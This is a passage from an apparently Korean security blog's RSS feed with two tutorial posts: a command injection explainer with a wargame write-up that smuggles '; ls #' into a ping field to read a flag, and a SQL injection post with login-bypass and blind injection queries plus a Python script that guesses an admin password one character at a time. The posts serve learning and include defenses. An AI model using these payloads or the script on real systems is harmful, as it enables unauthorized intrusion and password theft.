]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>보안</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[보안] Command Injection 부셔보기!</title>
      <link>https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-Command-Injection-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-Command-Injection-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0/</guid>
      <pubDate>Mon, 27 Apr 2026 03:00:33 GMT</pubDate>
      <description><![CDATA[<p>다양한 웹 애플리케이션 제작용 언어는 <b>시스템에 내장되어있는 프로그램들을 호출할 수 있는 함수를 지원</b>한다. 각 언어별 시스템 함수로는 <b>PHP의 system</b>, <b>Node JS의 child_process</b>, <b>파이썬의 os.system</b>이 있다. 이러한 함수는 전달된 인자를 <b>셸 프로그램에 전달해 명령어를 실행</b>한다. 예를 들어, <code>system(&quot;cat /etc/passwd&quot;)</code>를 호출하면, 셸 프로그램으로 <code>cat /etc/passwd</code>를 실행한 것과 같다.</p>
<p>시스템 함수를 사용하면 이미 설치된 소프트웨어들을 쉽게 이용할 수 있다는 장점이 있다. 그러나 함수의 인자를 셸의 명령어로 전달한다는 점에서 치명적인 취약점으로 이어지기도 한다.</p>
<h2>Command Injection</h2>
<p><a href="https://velog.io/@njw/%EB%B3%B4%EC%95%88-SQL-Injection-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0" target="_blank" rel="noopener">인젝션(Injection)</a>은 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법을 말한다. 이 중, <b>이용자의 입력을 시스템 명령어로 실행하게 하는 취약점을 Command Injection</b>이라고 부른다.</p>
<p><b>Command Injection은 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생</b>한다. 앞서 서술한 시스템 함수를 사용하면 이용자의 입력을 소프트웨어의 인자로 전달할 수 있다. 파이썬으로 개발된 웹 애플리케이션에서 입력한 **임의 IP에 ping을 전송하고 싶다면 os.system(“ping [user-input]”)**을, **임의 파일을 읽고 싶다면 os.system(“cat [user-input]”)**등의 형태로 시스템 함수를 사용할 수 있다.</p>
<p>그러나 이러한 함수를 사용할 때, <b>이용자의 입력을 제대로 검사하지 않으면 임의 명령어가 실행될 수도 있다.</b> 이는 리눅스 <b>셸 프로그램이 지원하는 다양한 메타 문자 때문이다.</b> 시스템 함수는 셸 프로그램에 명령어를 전달하여 실행하는데, 셸 프로그램은 다양한 메타 문자를 지원한다.</p>
<pre><code class="hljs language-dns">`` - 명령어 치환
``안에 들어있는 명령어를 실행한 결과로 치환.

`` example
$ echo `echo theori`
theori


$<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span> - 명령어 치환
$<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>안에 들어있는 명령어를 실행한 결과로 치환. 이 문자는 위와 다르게 중복 사용이 가능하다. <span class="hljs-punctuation">(</span>echo $<span class="hljs-punctuation">(</span>echo $<span class="hljs-punctuation">(</span>echo theori<span class="hljs-punctuation">)</span><span class="hljs-punctuation">)</span><span class="hljs-punctuation">)</span>

$<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span> example
$ echo $<span class="hljs-punctuation">(</span>echo theori<span class="hljs-punctuation">)</span>
theori

&amp;&amp; - 명령어 연속 실행
한 줄에 여러 명령어를 사용하고 싶을 때 사용. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행. <span class="hljs-punctuation">(</span>Logical And<span class="hljs-punctuation">)</span>

&amp;&amp; example
$ echo hello &amp;&amp; echo theori
hello
theori

|| - 명령어 연속 실행
한 줄에 여러 명령어를 사용하고 싶을 때 사용. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행. <span class="hljs-punctuation">(</span>Logical Or<span class="hljs-punctuation">)</span>

|| example
$ cat / || echo theori
cat: /: Is <span class="hljs-keyword">a</span> directory
theori

<span class="hljs-comment">; - 명령어 구분자</span>
한 줄에 여러 명령어를 사용하고 싶을 때 사용. <span class="hljs-comment">;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행.</span>

<span class="hljs-comment">; example</span>
$ echo hello <span class="hljs-comment">; echo theori</span>
hello
theori

| - 파이프
앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다.

| example
$ echo id | /bin/sh
uid=<span class="hljs-number">1001</span><span class="hljs-punctuation">(</span>theori<span class="hljs-punctuation">)</span> gid=<span class="hljs-number">1001</span><span class="hljs-punctuation">(</span>theori<span class="hljs-punctuation">)</span> groups=<span class="hljs-number">1001</span><span class="hljs-punctuation">(</span>theori<span class="hljs-punctuation">)</span></code></pre>
<p><b>&amp;&amp;, ;, |</b> 등을 사용하면 <b>여러 개의 명령어를 연속으로 실행</b>시킬 수 있다. 따라서 <b>공격자는 메타 문자를 통해 임의 명령어를 실행하여 셸을 획득할 수 있다.</b></p>
<h3>wargame 풀이</h3>
<p><a href="https://dreamhack.io/wargame/challenges/44" target="_blank" rel="noopener">command-injection-1</a> 문제를 풀이해 보았다.</p>
<p><b>app.py</b></p>
<pre><code class="hljs language-dart">#!/usr/bin/env python3
<span class="hljs-keyword">import</span> subprocess

from flask <span class="hljs-keyword">import</span> <span class="hljs-title class_">Flask</span>, request, render_template, redirect

from flag <span class="hljs-keyword">import</span> FLAG

APP = <span class="hljs-title class_">Flask</span>(__name__)


<span class="hljs-meta">@APP</span>.<span class="hljs-title function_">route</span>(<span class="hljs-string">&#x27;/&#x27;</span>)
def <span class="hljs-title function_">index</span>():
    <span class="hljs-keyword">return</span> <span class="hljs-title function_">render_template</span>(<span class="hljs-string">&#x27;index.html&#x27;</span>)


<span class="hljs-meta">@APP</span>.<span class="hljs-title function_">route</span>(<span class="hljs-string">&#x27;/ping&#x27;</span>, methods=[<span class="hljs-string">&#x27;GET&#x27;</span>, <span class="hljs-string">&#x27;POST&#x27;</span>])
def <span class="hljs-title function_">ping</span>():
    <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">&#x27;POST&#x27;</span>:
        host = request.form.<span class="hljs-title function_">get</span>(<span class="hljs-string">&#x27;host&#x27;</span>)
        cmd = f<span class="hljs-string">&#x27;ping -c 3 &quot;{host}&quot;&#x27;</span>
        <span class="hljs-keyword">try</span>:
            output = subprocess.<span class="hljs-title function_">check_output</span>([<span class="hljs-string">&#x27;/bin/sh&#x27;</span>, <span class="hljs-string">&#x27;-c&#x27;</span>, cmd], timeout=<span class="hljs-number">5</span>)
            <span class="hljs-keyword">return</span> <span class="hljs-title function_">render_template</span>(<span class="hljs-string">&#x27;ping_result.html&#x27;</span>, data=output.<span class="hljs-title function_">decode</span>(<span class="hljs-string">&#x27;utf-8&#x27;</span>))
        except subprocess.<span class="hljs-title class_">TimeoutExpired</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-title function_">render_template</span>(<span class="hljs-string">&#x27;ping_result.html&#x27;</span>, data=<span class="hljs-string">&#x27;Timeout !&#x27;</span>)
        except subprocess.<span class="hljs-title class_">CalledProcessError</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-title function_">render_template</span>(<span class="hljs-string">&#x27;ping_result.html&#x27;</span>, data=f<span class="hljs-string">&#x27;an error occurred while executing the command. -&gt; {cmd}&#x27;</span>)

    <span class="hljs-keyword">return</span> <span class="hljs-title function_">render_template</span>(<span class="hljs-string">&#x27;ping.html&#x27;</span>)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:
    APP.<span class="hljs-title function_">run</span>(host=<span class="hljs-string">&#x27;0.0.0.0&#x27;</span>, port=<span class="hljs-number">8000</span>)</code></pre>
<p><b>flag.py</b></p>
<pre><code class="hljs language-ini"><span class="hljs-attr">FLAG</span> = <span class="hljs-string">&#x27;DH{[REDACTED]}&#x27;</span></code></pre>
<p><b>플래그는 flag.py에, 웹 어플리케이션은 app.py에서 실행하는 것을 알 수 있다.</b></p>
<p><b>[flag.py]</b> FLAG 변수에 플래그가 담긴다.<br><img src="https://velog.velcdn.com/images/njw/post/c1a7ee9d-4f71-4d39-872f-92d5989f984e/image.png" alt="[보안] Command Injection 부셔보기!" width="222" height="42" loading="lazy" decoding="async"></p>
<p><b>[app.py]</b> /ping 엔드포인트에서 GET일 땐, html을 렌더하고, POST일 때 사용자의 입력값을 <code>host</code>에 담고 이를 그대로 담아 <b>동적으로 ping 명령어를 구성</b>한다. 또 이를 <b><code>subprocess.check_output</code> 함수를 사용하여 /bin/sh에서 cmd 명령어를 실행</b>하고, 결과 출력을 변수 <code>output</code>에 저장한다. 이때 실행시간이 5초를 넘긴다면 <code>&quot;Timeout !&quot;</code> 메세지와 함께 <code>ping_result.html</code>을 렌더한다. 명령어 실행 중 오류가 발생하면 <code>subprocess.CalledProcessError</code> 예외가 발생하며 해당 오류 메시지와 함께 <code>ping_result.html</code>을 렌더한다.<br>어떠한 예외도 발생하지 않으면 <b>변수 <code>output</code>을 UTF-8로 디코딩하여 <code>ping_result.html</code>과 함께 반환</b>한다.<br><img src="https://velog.velcdn.com/images/njw/post/fc586671-b35c-4ecd-a268-537a6ac4a322/image.png" alt="[보안] Command Injection 부셔보기!" width="977" height="268" loading="lazy" decoding="async"></p>
<p>ping.html의 폼에 <b>영어, 숫자, <code>&quot;.&quot;</code>, 글자 수 5~20자만을 허용하는 정규표현식이 포함</b>되어 있다.<br><img src="https://velog.velcdn.com/images/njw/post/1565b543-948d-4c3d-9f34-75972023b766/image.png" alt="[보안] Command Injection 부셔보기!" width="1049" height="188" loading="lazy" decoding="async"></p>
<h4>취약점 분석</h4>
<p>파일 구조를 확인하기 위해 <code>8.8.8.8&quot;; ls #</code> 명령어를 실행하려한다.</p>
<p>직접 html 속성을 수정해 정규 표현식을 제거하는 방법도 있겠지만 조금 다르게 풀이하였다.<br><img src="https://velog.velcdn.com/images/njw/post/d340223d-9d0f-433f-ab86-425aea55bf0d/image.png" alt="[보안] Command Injection 부셔보기!" width="536" height="38" loading="lazy" decoding="async"></p>
<p>Burp Suite에서 직접 값을 변경하여 포워드하면<br><img src="https://velog.velcdn.com/images/njw/post/fd647686-1abf-47cc-812e-a3dd3af44326/image.png" alt="[보안] Command Injection 부셔보기!" width="1269" height="358" loading="lazy" decoding="async"></p>
<p>이런식으로 명령어의 결과가 나온다.<br><img src="https://velog.velcdn.com/images/njw/post/49636b64-5cb0-4950-894c-85bda439d3ef/image.png" alt="[보안] Command Injection 부셔보기!" width="585" height="361" loading="lazy" decoding="async"></p>
<p>flag.py의 위치를 알았으니 명령어를 수정해서 보내보면<br><img src="https://velog.velcdn.com/images/njw/post/a5852319-b174-4c75-aeda-feb770d1618d/image.png" alt="[보안] Command Injection 부셔보기!" width="364" height="225" loading="lazy" decoding="async"></p>
<p>플래그 획득 성공!<br><img src="https://velog.velcdn.com/images/njw/post/db51d849-2908-4a86-8f68-c708700780af/image.png" alt="[보안] Command Injection 부셔보기!" width="521" height="217" loading="lazy" decoding="async"></p>
<h3>Command injection 방어</h3>
<p>사실 Command 인젝션을 방어하기 위한 제일 좋은 방법은 <b>시스템 호출 함수 사용을 하지 않는 것</b>이다.<br>프로그래밍 언어에서 fs.unlink(path) (Node.js) 또는 os.remove(path) (Python) 와 같은 <b>셸을 직접 실행하지 않고 원격으로 실행할 수 있도록 지원하는 내장 라이브러리 API</b>가 정말 많다. 이를 사용하면 Command 인젝션은 유효하지 않다.<br>이 외에도 <b>입력값에 대한 검증</b>과 <b>메타 문자 필터링</b> 등의 추가 작업을 할 수 있다.</p>
<h2>마무리</h2>
<p>취약점은 알았으니 커맨드 공부좀 하러 가야지..</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>보안</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[보안] SQL Injection 부셔보기!</title>
      <link>https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-SQL-Injection-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-SQL-Injection-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0/</guid>
      <pubDate>Mon, 27 Apr 2026 01:13:25 GMT</pubDate>
      <description><![CDATA[<p>**인젝션 (Injection)**은 주입이라는 뜻을 지닌 영단어로써 <b>이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점</b>을 의미한다.</p>
<p><a href="https://velog.io/@njw/%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%B2%A0%EC%9D%B4%EC%8A%A4-%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%B2%A0%EC%9D%B4%EC%8A%A4%EC%99%80-%EC%95%94%ED%98%B8%ED%99%94" target="_blank" rel="noopener">SQL 인젝션을 공부하기 전, DB에 대해 공부해야 한다.</a></p>
<h2>SQL Injection</h2>
<blockquote>
<p>SQL Injection이란, 인젝션 공격의 한 종류로써, DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 서버 사이드 공격 취약점.</p>
</blockquote>
<p>**SQL Injection(SQL 인젝션)**을 이해하기 위해선 먼저 데이터베이스에 대해 알아야 한다.</p>
<p>웹 해킹에서 <b>대부분의 취약점은 미흡한 입력값 검증에서 발생</b>한다.</p>
<p>SQL 인젝션 또한 그러하다. 미흡한 입력값 검증 때문에 이용자의 입력값이 데이터베이스 문법으로 인식되기 때문에 공격자의 의도대로 <b>DB에서 작업을 수행하는 것</b>이다.</p>
<p><img src="https://velog.velcdn.com/images/njw/post/8decf5de-9829-41b0-b35a-aa8506dbbea2/image.png" alt="[보안] SQL Injection 부셔보기!" width="311" height="162" loading="lazy" decoding="async"></p>
<p>위 이미지를 보면 흐름을 이해할 수 있다.</p>
<p><b>SQL Injection 공격 예시</b><br><code>SELECT * FROM accounts WHERE user_id=&#39;njwon&#39; and user_pw=&#39;password&#39;</code> 이 쿼리는 유저의 로그인을 처리하는 아주 기본적인 쿼리이다.</p>
<p>위 쿼리를 이렇게 바꾸면 어떨까?<br><code>SELECT * FROM accounts WHERE user_id=&#39;njwon&#39; --&#39; and user_pw=&#39;password&#39;</code> <b>password 속성의 비교문을 주석 처리하면서 id만 알면 로그인을 할 수 있게 되었다.</b></p>
<h3>Blind SQL Injection</h3>
<p>앞서 SQL 인젝션을 통해 의도하지 않은 결과를 반환해 인증을 우회하는 것을 알아보았다. 해당 공격은 인증 우회 이외에도 데이터베이스의 데이터를 알아내기 위해 사용 가능하다. 이때 사용할 수 있는 공격 기법으로는 <b>Blind SQL Injection</b>이 있다. 해당 공격 기법은 스무고개 게임과 비슷하게 <b>공격자가 질의를 하면 서버가 긍정 혹은 부정으로 대답을 해 데이터를 알아낼 수 있다.</b></p>
<p><b>Blind SQL Injection 공격 쿼리</b></p>
<pre><code class="hljs language-pgsql"># 첫 번째 글자 구하기
<span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> user_table <span class="hljs-keyword">WHERE</span> uid=<span class="hljs-string">&#x27;admin&#x27;</span> <span class="hljs-keyword">and</span> substr(upw,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>)=<span class="hljs-string">&#x27;a&#x27;</span><span class="hljs-comment">-- &#x27; and upw=&#x27;&#x27;; # False</span>
<span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> user_table <span class="hljs-keyword">WHERE</span> uid=<span class="hljs-string">&#x27;admin&#x27;</span> <span class="hljs-keyword">and</span> substr(upw,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>)=<span class="hljs-string">&#x27;b&#x27;</span><span class="hljs-comment">-- &#x27; and upw=&#x27;&#x27;; # True</span>
# 두 번째 글자 구하기
<span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> user_table <span class="hljs-keyword">WHERE</span> uid=<span class="hljs-string">&#x27;admin&#x27;</span> <span class="hljs-keyword">and</span> substr(upw,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>)=<span class="hljs-string">&#x27;d&#x27;</span><span class="hljs-comment">-- &#x27; and upw=&#x27;&#x27;; # False</span>
<span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> user_table <span class="hljs-keyword">WHERE</span> uid=<span class="hljs-string">&#x27;admin&#x27;</span> <span class="hljs-keyword">and</span> substr(upw,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>)=<span class="hljs-string">&#x27;e&#x27;</span><span class="hljs-comment">-- &#x27; and upw=&#x27;&#x27;; # True </span></code></pre>
<p>쿼리를 살펴보면 uid가 admin인 유저의 upw를 substr() 함수에 넣어 확인하는 것을 알 수 있다.</p>
<p><b>substr() 함수는 첫번째 인자로 들어온 문자열을 두번째 인자부터 세번째 인자까지 뽑아내 반환</b>한다.</p>
<p>고로 위 공격 쿼리는 upw의 전체 문자열을 하나하나 확인하며 알아내는 쿼리라고 볼 수 있다.</p>
<p>이러한 substr 외에도, 각 <b>DBMS에서 제공하는 내장 함수를 잘 이용하는 것으로 원하는 데이터를 추출</b>할 수 있다.</p>
<h4>자동화</h4>
<p><b>Blind SQL Injection은 한 바이트씩 비교하여 공격하는 방식이기 때문에 다른 공격에 비해 많은 시간을 들여야한다.</b> 만약 이를 사람이 직접 하나하나 확인한다면 엄청난 시간이 소요될 것이다. 이러한 문제를 해결하기 위해서는 <b>공격을 자동화하는 스크립트를 작성하는 방법</b>이 있다. 공격 스크립트를 작성하기에 앞서 유용한 라이브러리를 알아보겠다. <b>파이썬은 HTTP 통신을 위한 다양한 모듈이 존재하는데, 대표적으로 requests 모듈이 있다.</b> 해당 모듈은 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있다.</p>
<p>아래 코드는 <b>requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드</b>이다. requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, <b>URL과 Header, Parameter와 함께 요청을 전송할 수 있다.</b><br><b>requests 모듈 GET 예제 코드</b></p>
<pre><code class="hljs language-routeros">    import requests
    url = <span class="hljs-string">&#x27;https://dreamhack.io/&#x27;</span>
    headers = {
        <span class="hljs-string">&#x27;Content-Type&#x27;</span>: <span class="hljs-string">&#x27;application/x-www-form-urlencoded&#x27;</span>,
        <span class="hljs-string">&#x27;User-Agent&#x27;</span>: <span class="hljs-string">&#x27;DREAMHACK_REQUEST&#x27;</span>
    }
    params = {
        <span class="hljs-string">&#x27;test&#x27;</span>: 1,
    }
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(1, 5):
        c = requests.<span class="hljs-built_in">get</span>(url + str(i), <span class="hljs-attribute">headers</span>=headers, <span class="hljs-attribute">params</span>=params)
        <span class="hljs-built_in">print</span>(c.request.url)
        <span class="hljs-built_in">print</span>(c.text)</code></pre>
<p><b>아래 코드는 HTTP의 POST 메소드 통신을 하는 예제 코드이다.</b> requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로 <b>URL과 Header, Body와 함께 요청을 전송할 수 있다.</b><br><b>requests 모듈 POST 예제 코드</b></p>
<pre><code class="hljs language-routeros">    import requests
    url = <span class="hljs-string">&#x27;https://dreamhack.io/&#x27;</span>
    headers = {
        <span class="hljs-string">&#x27;Content-Type&#x27;</span>: <span class="hljs-string">&#x27;application/x-www-form-urlencoded&#x27;</span>,
        <span class="hljs-string">&#x27;User-Agent&#x27;</span>: <span class="hljs-string">&#x27;DREAMHACK_REQUEST&#x27;</span>
    }
    data = {
        <span class="hljs-string">&#x27;test&#x27;</span>: 1,
    }
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(1, 5):
        c = requests.post(url + str(i), <span class="hljs-attribute">headers</span>=headers, <span class="hljs-attribute">data</span>=data)
        <span class="hljs-built_in">print</span>(c.text)</code></pre>
<p><b>HTTP GET request로 파라미터를 전달받는 홈페이지에 Blind SQL Injection을 시도</b>한다고 가정해보자. 공격하기에 앞서, 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위를 지정해야 한다. 예를 들어, 비밀번호의 경우 알파벳과 숫자 그리고 특수 문자로 이뤄진다. 이는 아스키 범위의 출력 가능한 모든 문자이며, Python에서는 <b>string 모듈을 이용해 string.printable로 접근</b>할 수 있다. 이 사안을 고려해 작성한 스크립트는 다음과 같다.</p>
<pre><code class="hljs language-python"><span class="hljs-comment">#!/usr/bin/python3</span>
    <span class="hljs-keyword">import</span> requests
    <span class="hljs-keyword">import</span> string
    <span class="hljs-comment"># example URL</span>
    url = <span class="hljs-string">&#x27;http://example.com/login&#x27;</span>
    params = {
        <span class="hljs-string">&#x27;uid&#x27;</span>: <span class="hljs-string">&#x27;&#x27;</span>,
        <span class="hljs-string">&#x27;upw&#x27;</span>: <span class="hljs-string">&#x27;&#x27;</span>
    }
    <span class="hljs-comment"># ascii printables</span>
    tc = string.printable
    <span class="hljs-comment"># 사용할 SQL Injection 쿼리</span>
    query = <span class="hljs-string">&#x27;&#x27;&#x27;admin&#x27; and substr(upw,{idx},1)=&#x27;{val}&#x27;-- &#x27;&#x27;&#x27;</span>
    password = <span class="hljs-string">&#x27;&#x27;</span>
    <span class="hljs-comment"># 비밀번호 길이는 20자 이하라 가정</span>
    <span class="hljs-keyword">for</span> idx <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-number">20</span>):
        <span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> tc:
            <span class="hljs-comment"># query를 이용하여 Blind SQL Injection 시도</span>
            params[<span class="hljs-string">&#x27;uid&#x27;</span>] = query.<span class="hljs-built_in">format</span>(idx=idx+<span class="hljs-number">1</span>, val=ch).strip(<span class="hljs-string">&quot;\n&quot;</span>)
            c = requests.get(url, params=params)
            <span class="hljs-built_in">print</span>(c.request.url)
            <span class="hljs-comment"># 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장</span>
            <span class="hljs-keyword">if</span> c.text.find(<span class="hljs-string">&quot;Login success&quot;</span>) != -<span class="hljs-number">1</span>:
                password += ch
                <span class="hljs-keyword">break</span>
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Password is <span class="hljs-subst">{password}</span>&quot;</span>)
</code></pre>
<p>코드를 살펴보면, 비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성하고, 한 바이트씩 모든 문자를 비교하는 반복문을 작성한다. 반복문 실행 중에 반환 결과가 참일 경우에 <b>페이지에 표시되는 &quot;Login success&quot; 문자열을 찾고,</b> 해당 결과를 <b>반환한 문자를 password 변수에 저장</b>한다. 반복문을 마치면 <b>&quot;admin&quot; 계정의 비밀번호를 알아낼 수 있다.</b></p>
<h3>SQL</h3>
<p>SQL은 각각 <b>DDL(Data Definition Language)</b>, <b>DML(Data Manipulation Language)</b>, **DCL(Data Control Language)**로 나뉜다.</p>
<table>
<thead>
<tr>
<th align="center">설명</th>
<th align="center">DDL</th>
<th align="center"><i style="text-decoration: underline;">DML</i></th>
<th align="center">DCL</th>
</tr>
</thead>
<tbody><tr>
<td align="center">설명</td>
<td align="center">구조를 정의하거나 변경, 삭제할 때 사용하는 SQL 구문</td>
<td align="center">데이터를 조회, 삽입, 수정, 삭제할 때 사용합니다. 실무에서 가장 많이 사용되는 SQL 구문. <br>SQL 인젝션의 주 타겟이다.</td>
<td align="center">데이터에 대한 접근을 통제하고 보안을 유지하기 위해 사용하는 구문</td>
</tr>
<tr>
<td align="center">예시</td>
<td align="center">CREATE, ALTER, DROP</td>
<td align="center">SELECT, INSERT, UPDATE, DELETE</td>
<td align="center">GRANT, REVOKE</td>
</tr>
</tbody></table>
<p><b>SQL 인젝션의 주 타겟은 DML</b>이다. 우리가 웹서비스에서 사용하는 기능은 <b>대부분 DML</b>이기 때문이다. 그렇기에 <b>DML을 사용하는 법과 SQL 문법을 알고 있으면 SQL 인젝션을 보다 수월하게 진행할 수 있다.</b></p>
<p>아래는 DML 문법들에 대한 설명이다.</p>
<h4>SELECT</h4>
<pre><code class="hljs language-n1ql"># mysql <span class="hljs-keyword">SELECT</span> Statement https://dev.mysql.com/doc/refman/<span class="hljs-number">8.0</span>/en/<span class="hljs-keyword">select</span>.html

<span class="hljs-keyword">SELECT</span>
    select_expr [, select_expr] ...
<span class="hljs-keyword">FROM</span> table_references
<span class="hljs-keyword">WHERE</span> where_condition
[<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> {col_name | expr | <span class="hljs-built_in">position</span>}, ... [<span class="hljs-keyword">WITH</span> ROLLUP]]
[<span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> {col_name | expr | <span class="hljs-built_in">position</span>} [<span class="hljs-keyword">ASC</span> | <span class="hljs-keyword">DESC</span>], ... [<span class="hljs-keyword">WITH</span> ROLLUP]]
[<span class="hljs-keyword">LIMIT</span> {[<span class="hljs-keyword">offset</span>,] row_count | row_count <span class="hljs-keyword">OFFSET</span> <span class="hljs-keyword">offset</span>}]</code></pre>
<p><b>SELECT는 데이터를 조회하는 구문</b>이다. 위는 MYSQL 공식 페이지에서 제공하는 SELECT 구문의 예시이다.</p>
<p>SELECT 구문에는 특정 조건을 만족하는 데이터를 찾기 위한 WHERE, 조회한 결과를 정렬하거나 특정 부분만을 확인하기 위한 ORDER BY, LIMIT 등이 있다.</p>
<pre><code class="hljs language-n1ql"><span class="hljs-keyword">SELECT</span>
    uid, <span class="hljs-built_in">title</span>, boardcontent
<span class="hljs-keyword">FROM</span> board
<span class="hljs-keyword">WHERE</span> boardcontent <span class="hljs-keyword">like</span> <span class="hljs-string">&#x27;%abc%&#x27;</span>
<span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> uid <span class="hljs-keyword">DESC</span>
<span class="hljs-keyword">LIMIT</span> <span class="hljs-number">5</span></code></pre>
<p>위 예시 쿼리를 살펴보면, 먼저 <b>FROM 절을 사용해 board 테이블의 uid, title, boardcontent 데이터를 검색</b>한다. 그리고 <b>WHERE 절을 사용해 boardcontent 데이터에 “abc” 문자가 포함되어 있는지 찾는다.</b> 이렇게 찾은 데이터를 <b>ORDER BY 절을 통해 uid를 기준으로 내림차순 정렬한 후, 5개의 행을 결과로 반환</b>한다.</p>
<h4>INSERT</h4>
<pre><code class="hljs language-prolog"># mysql <span class="hljs-symbol">INSERT</span> <span class="hljs-symbol">Statement</span> https://dev.mysql.com/doc/refman/<span class="hljs-number">8.0</span>/en/insert.html
<span class="hljs-symbol">INSERT</span> [<span class="hljs-symbol">LOW_PRIORITY</span> | <span class="hljs-symbol">DELAYED</span> | <span class="hljs-symbol">HIGH_PRIORITY</span>] [<span class="hljs-symbol">IGNORE</span>]
    [<span class="hljs-symbol">INTO</span>] tbl_name
    [<span class="hljs-symbol">PARTITION</span> (partition_name [, partition_name] ...)]
    [(col_name [, col_name] ...)]
    { {<span class="hljs-symbol">VALUES</span> | <span class="hljs-symbol">VALUE</span>} (value_list) [, (value_list)] ...
      |
      <span class="hljs-symbol">VALUES</span> row_constructor_list
    }</code></pre>
<p><b>INSERT는 데이터를 추가하는 구문</b>이다. 위는 MYSQL 공식 페이지에서 제공하는 INSERT 구문의 예시이다.</p>
<p>INSERT 구문에는 데이터를 추가할 테이블과 컬럼을 정의하는 INTO, 추가할 데이터를 정의하는 VALUES 등이 있다.</p>
<pre><code class="hljs language-n1ql"><span class="hljs-keyword">INSERT</span> 
    <span class="hljs-keyword">INTO</span> board (<span class="hljs-built_in">title</span>, boardcontent)
    <span class="hljs-keyword">VALUES</span> (<span class="hljs-string">&#x27;title 1&#x27;</span>, <span class="hljs-string">&#x27;content 1&#x27;</span>), (<span class="hljs-string">&#x27;title 2&#x27;</span>, <span class="hljs-string">&#x27;content 2&#x27;</span>);</code></pre>
<p>위 코드들은 INSERT 구문을 사용한 예시이다. 쿼리를 살펴보면, INTO 절을 사용해 추가할 테이블과 컬럼을 각각 <b>board와 title, boardcontent로 명시</b>한다. 그리고** VALUES 절을 통해 INTO 절에서 명시한 테이블의 각각의 컬럼에 “title 1”, “content 1”과 “title 2”, “content 2” 데이터를 추가**한다. 이처럼 쿼리 한 줄로 두 개 이상의 데이터를 추가할 수 있다.</p>
<pre><code class="hljs language-n1ql"><span class="hljs-keyword">INSERT</span> 
    <span class="hljs-keyword">INTO</span> board (<span class="hljs-built_in">title</span>, boardcontent)
    <span class="hljs-keyword">VALUES</span> (<span class="hljs-string">&#x27;title 1&#x27;</span>, (<span class="hljs-keyword">select</span> upw <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> uid=<span class="hljs-string">&#x27;admin&#x27;</span>));</code></pre>
<p>이 밖에도, 다음과 같이 서브 쿼리를 통해 다른 테이블에 존재하는 데이터를 추가할 수 있다. 쿼리를 살펴보면, 이전과 같이 추가할 테이블과 컬럼을 각각 board와 title, boardcontent로 명시한다. 그리고 데이터를 추가하되, <b>boardcontent에는 SELECT 구문을 실행해 users 테이블에 uid 컬럼의 값이 “admin”인 행을 찾고, 해당하는 행의 upw 데이터를 추가</b>한다. 이처럼 <b>서브쿼리를 사용하면 다른 테이블에 있는 데이터를 그대로 가져와 삽입</b>할 수 있다.</p>
<h4>UPDATE</h4>
<pre><code class="hljs language-n1ql"># mysql <span class="hljs-keyword">UPDATE</span> https://dev.mysql.com/doc/refman/<span class="hljs-number">8.0</span>/en/<span class="hljs-keyword">update</span>.html
<span class="hljs-keyword">UPDATE</span> [LOW_PRIORITY] [<span class="hljs-keyword">IGNORE</span>] table_references
    <span class="hljs-keyword">SET</span> assignment_list
